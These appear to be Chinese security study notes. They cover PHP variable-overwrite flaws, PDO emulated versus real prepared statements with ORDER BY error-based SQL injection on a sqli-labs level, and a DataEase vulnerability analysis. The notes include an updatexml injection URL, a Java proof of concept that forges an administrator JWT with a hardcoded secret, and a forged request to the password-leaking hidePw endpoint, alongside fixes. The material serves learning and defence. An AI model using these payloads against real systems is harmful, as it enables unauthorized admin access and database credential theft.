php全局参数污染注入
环境搭建
官方下载链接:https://github.com/top-think/think/tree/v5.1.15
官方下载链接 :https://github.com/top-think/framwork/tree/v5.1.15
framework(下载后改文件名为phpthink ,放入think文件夹里,一并放入www文件里)
如果github访问不了,网络延时了:刷新 DNS 缓存 + 重新解析
Windows :按Win+R输入cmd,依次执行两条命令(回车执行,无需管理员):
ipconfig /flushdns
nslookup github.com
执行后会显示新的 GitHub 解析 IP,再刷新网页即可。
危险示例(存在参数污染漏洞)
php
<?php
// 模拟业务逻辑:定义用户权限变量
$is_admin = false;
$user_id = 100;
// 错误做法:遍历$_REQUEST并覆盖全局变量
foreach ($_REQUEST as $key => $value) {
$$key = $value; // 变量变量:$$key会把key作为变量名,value作为值
}
// 业务逻辑:判断是否为管理员
if ($is_admin) {
echo "管理员操作:删除用户ID={$user_id}";
} else {
echo "普通用户,无权限";
}
?>
攻击方式 :请求http://xxx.com/test.php?is_admin=1&user_id=999,原本$is_admin=false会被覆盖为1,$user_id=100被覆盖为999,攻击者直接以管理员身份删除指定用户。
php
<?php
// 模拟业务逻辑:定义用户权限变量
$is_admin = false;
$user_id = 100;
// 安全做法1:只接收允许的参数,拒绝未知参数
$allowed_params = ['page', 'size']; // 仅允许这2个参数
foreach ($_REQUEST as $key => $value) {
if (in_array($key, $allowed_params)) {
$$key = $value; // 仅覆盖允许的变量
}
}
// 安全做法2:使用extract时指定过滤规则
// extract($_GET, EXTR_SKIP); // EXTR_SKIP:如果变量已存在,跳过不覆盖
// 或 EXTR_PREFIX_ALL:给所有变量加前缀,避免覆盖
// extract($_GET, EXTR_PREFIX_ALL, 'req'); // 变量变为 $req_username
// 业务逻辑:判断是否为管理员(核心变量不允许被覆盖)
if ($is_admin) {
echo "管理员操作:删除用户ID={$user_id}";
} else {
echo "普通用户,无权限";
}
?>
总结:PHP 全局参数污染注入的核心是变量被请求参数非法覆盖,根源是不规范的变量使用或危险配置开启;
最危险的场景是register_globals开启、extract()滥用、遍历$_REQUEST覆盖全局变量;
防护核心是:禁用危险配置 + 白名单接收参数 + 显式初始化变量 + 核心变量不允许被外部参数覆盖。
pdo预编译与 SQL 注入
- 核心原则:预编译是将 SQL 语句参数化,能有效防范 SQL 注入。
- 例外情况 :
order by、group by这类子句无法直接参数化,存在注入风险。
order by 注入相关要点
- 注入风险来源 :
order by后的排序字段通常直接拼接字符串,无法用预编译参数,容易被注入。 - 常见利用手法
- 报错注入 :利用
updatexml()、extractvalue()等函数,结合concat()拼接恶意语句,触发数据库报错以获取信息。 - 布尔盲注:通过构造条件判断,根据页面返回结果的差异来推断数据。
- 报错注入 :利用
- 防御难点 :预编译无法直接处理
order by后的字段名,需要额外做输入校验或映射处理,比如:- 维护一个合法字段名的白名单。
- 将用户输入映射为对应的索引或字段名,而非直接拼接.
对应关卡47关
http://192.168.0.102/sqlilabs/Less-47/?sort=1
要绕过order by ,用updatexml(1,concat(0x7e,user(),0x7e),1)
http://192.168.0.102/sqlilabs/Less-47/?sort=1%27%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--+
真假预编译
1.开启数据库日志
sql
mysql> show variables like 'general%';
ERROR 2013 (HY000): Lost connection to MySQL server during query
No connection. Trying to reconnect...
Connection id: 8
Current database: *** NONE ***
+------------------+--------------------------------------------------------+
| Variable_name | Value |
+------------------+--------------------------------------------------------+
| general_log | OFF |
| general_log_file | D:\phpstudy\PHPTutorial\MySQL\data\LAPTOP-K05T4P6I.log |
+------------------+--------------------------------------------------------+
2 rows in set (2.06 sec)
mysql> set global general_log=1;
Query OK, 0 rows affected (0.03 sec)
mysql> show variables like 'general%';
+------------------+--------------------------------------------------------+
| Variable_name | Value |
+------------------+--------------------------------------------------------+
| general_log | ON |
| general_log_file | D:\phpstudy\PHPTutorial\MySQL\data\LAPTOP-K05T4P6I.log |
+------------------+--------------------------------------------------------+
2 rows in set (0.00 sec)
mysql>
php
<?php
$username = $_GET['username'];
$db = new PDO("mysql:host=localhost;dbname=security", "root", "root");
$stmt = $db->prepare("SELECT password FROM users where username= :username");
$stmt->bindParam(':username', $username);
$stmt->execute();
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
var_dump($result);
$db = null;
?>
虚假的预编译:没有预编译和参数绑定,和正常的查询一样唯一不同就是将参数自动加上单引号,在底层将单双引号自动转义
真正的预编译:加一个参数
php
<?php
$username = $_GET['username'];
$db = new PDO("mysql:host=localhost;dbname=security", "root", "root");
$db -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$stmt = $db->prepare("SELECT password FROM users where username= :username");
$stmt->bindParam(':username', $username);
$stmt->execute();
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
var_dump($result);
$db = null;
?>
无论在后面加什么,都会当作username
预编译其实是为了提高MySQL的运行效率而诞生(而不是为了防止sql注入),因为它可以先构建语法树然后带入查询参数,避免了一次执行一次构建语法树的繁琐,对于数据量以及查询量较大的数据库能极大提高运行效率。
没有参数绑定就没有预编译.
dataease-jwt伪造
一、漏洞核心背景
DataEase 作为开源数据可视化工具,其身份认证依赖 JWT(JSON Web Token)机制,而数据源管理模块提供了 hidePw 接口用于查询数据源详情。本次发现的漏洞组合,正是利用了 JWT 验证逻辑缺陷与接口密码隐藏机制漏洞,形成了无权限到获取核心数据的完整攻击路径。
二、关键漏洞拆解
1. JWT 签名绕过漏洞(漏洞核心)
漏洞位置
- 验证入口:
sdk\common\src\main\java\io\dataease\auth\filter\TokenFilter.java - 核心逻辑:
sdk\common\src\main\java\io\dataease\utils\TokenUtils.java
漏洞原理
JWT 验证的核心是「解码 + 签名校验」,但 DataEase 的 TokenUtils.validate() 方法仅调用 JWT.decode(token) 进行 Base64 解码,未执行任何签名验证操作。正常的 JWT 验证需使用 JWT.require(algorithm).build().verify(token) 同时完成解码与签名校验,这一省略直接导致攻击者可伪造任意 JWT 令牌。
漏洞加剧:硬编码密钥与管理员 ID
在 SubstituteLoginServer 类中,系统硬编码了管理员配置:
- 管理员 ID:
userId=1L - 加密密钥:
md5Pwd="83d923c9f1d8fcaa46cae0ed2aaa81b5"攻击者可直接使用该密钥生成符合格式的管理员 JWT,无需破解。
2. hidePw 接口明文密码泄露漏洞
接口功能
/hidePw/{datasourceId} 接口(GET 请求)用于查询数据源详情,设计初衷是隐藏返回结果中的密码字段。
漏洞原理
密码隐藏逻辑仅对 urlType="jdbcUrl" 的配置生效:
- 接口通过
datasourceMapper.selectById(datasourceId)从core_datasource表查询完整配置(含明文密码); - 当
hidePw=true时,调用CalciteProvider.hidePw()尝试隐藏密码,但仅处理 JdbcUrl 中携带的密码参数; - 若数据源配置的
urlType为空或非jdbcUrl,密码隐藏逻辑直接跳过,原始配置(含明文密码)经 Base64 编码后返回客户端。
泄露效果
解码返回结果中的 configuration 字段(Base64 格式),可直接获得数据库明文信息:
php
{
"dataBase": "dataease",
"password": "root",
"port": "3306",
"host": "localhost",
"username": "root"
}
三、完整攻击链演示
1. 伪造管理员 JWT
使用硬编码密钥生成包含管理员信息的 JWT,POC 代码如下:
java
import com.auth0.jwt.JWT;
import com.auth0.jwt.algorithms.Algorithm;
public class JwtPoc {
public static void main(String[] args) {
String secret = "83d923c9f1d8fcaa46cae0ed2aaa81b5"; // 硬编码密钥
Algorithm algorithm = Algorithm.HMAC256(secret);
String token = JWT.create()
.withClaim("uid", 1L) // 管理员ID
.withClaim("oid", 1L)
.withClaim("exp", 999999999999L) // 超长过期时间
.sign(algorithm);
System.out.println("X-DE-TOKEN: " + token);
}
}
2. 构造恶意请求
携带伪造的 JWT 访问 hidePw 接口,请求示例:
java
GET /de2api/datasource/hidePw/985188400292302848 HTTP/1.1
Host: target.com
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjo5OTk5OTk5OTk5OTk5fQ.okytuC1KBAhow_CutbQSSE9ILJWhbITer__cY
3. 漏洞触发与结果获取
- TokenFilter 拦截请求后,调用
TokenUtils.validate()验证令牌,因未校验签名,伪造令牌通过验证; - 系统设置当前用户为管理员(uid=1),允许访问敏感接口;
- 接口返回数据源配置,其中
configuration字段包含 Base64 编码的明文密码; - 攻击者解码后获得数据库账号密码,实现非法访问。
四、漏洞危害等级与影响
- 危害等级:严重(CVSS 评分 ≥ 9.0)
- 影响范围:使用存在缺陷版本的 DataEase 平台
- 核心风险 :
- 攻击者无需授权即可伪造管理员身份;
- 窃取所有数据源明文账号密码;
- 进一步入侵数据库,窃取、篡改核心业务数据;
- 横向渗透平台其他功能模块。
五、应急防护方案
1. 修复 JWT 签名验证漏洞
-
在
TokenUtils.userBOByToken()方法中添加签名校验逻辑,示例:javaAlgorithm algorithm = Algorithm.HMAC256(secret); // 密钥需安全存储,避免硬编码 JWT.require(algorithm).build().verify(token); // 解码+签名校验 -
移除代码中的硬编码密钥与管理员 ID,改为动态配置或从安全存储中读取。
2. 修复 hidePw 接口密码泄露
- 优化
CalciteProvider.hidePw()逻辑,覆盖所有类型的密码存储场景,而非仅处理 JdbcUrl; - 对数据源配置中的密码字段统一进行脱敏处理,避免明文传输;
- 限制
hidePw接口的访问权限,仅允许超级管理员或数据源创建者访问。
3. 临时应急措施
- 禁用
hidePw接口或限制接口访问 IP; - 更换数据库账号密码,避免凭据泄露导致二次攻击;
- 审计 JWT 密钥使用情况,立即更换硬编码密钥。
六、总结
本次漏洞的核心在于「基础安全机制缺失」:JWT 签名验证的省略让身份认证形同虚设,密码隐藏逻辑的不完善则直接泄露核心凭据。这类漏洞在开源项目中较为常见,本质是开发者对安全机制的理解不充分或追求功能快速实现而忽略安全细节。
建议在使用 JWT 时,务必遵循「编码 + 签名校验 + 过期时间」的完整验证流程;涉及敏感数据返回时,需覆盖所有场景的脱敏处理,同时避免硬编码密钥、管理员 ID 等敏感信息。对于已部署 DataEase 的用户,应尽快排查版本是否存在相关漏洞,及时应用修复补丁,防范恶意攻击。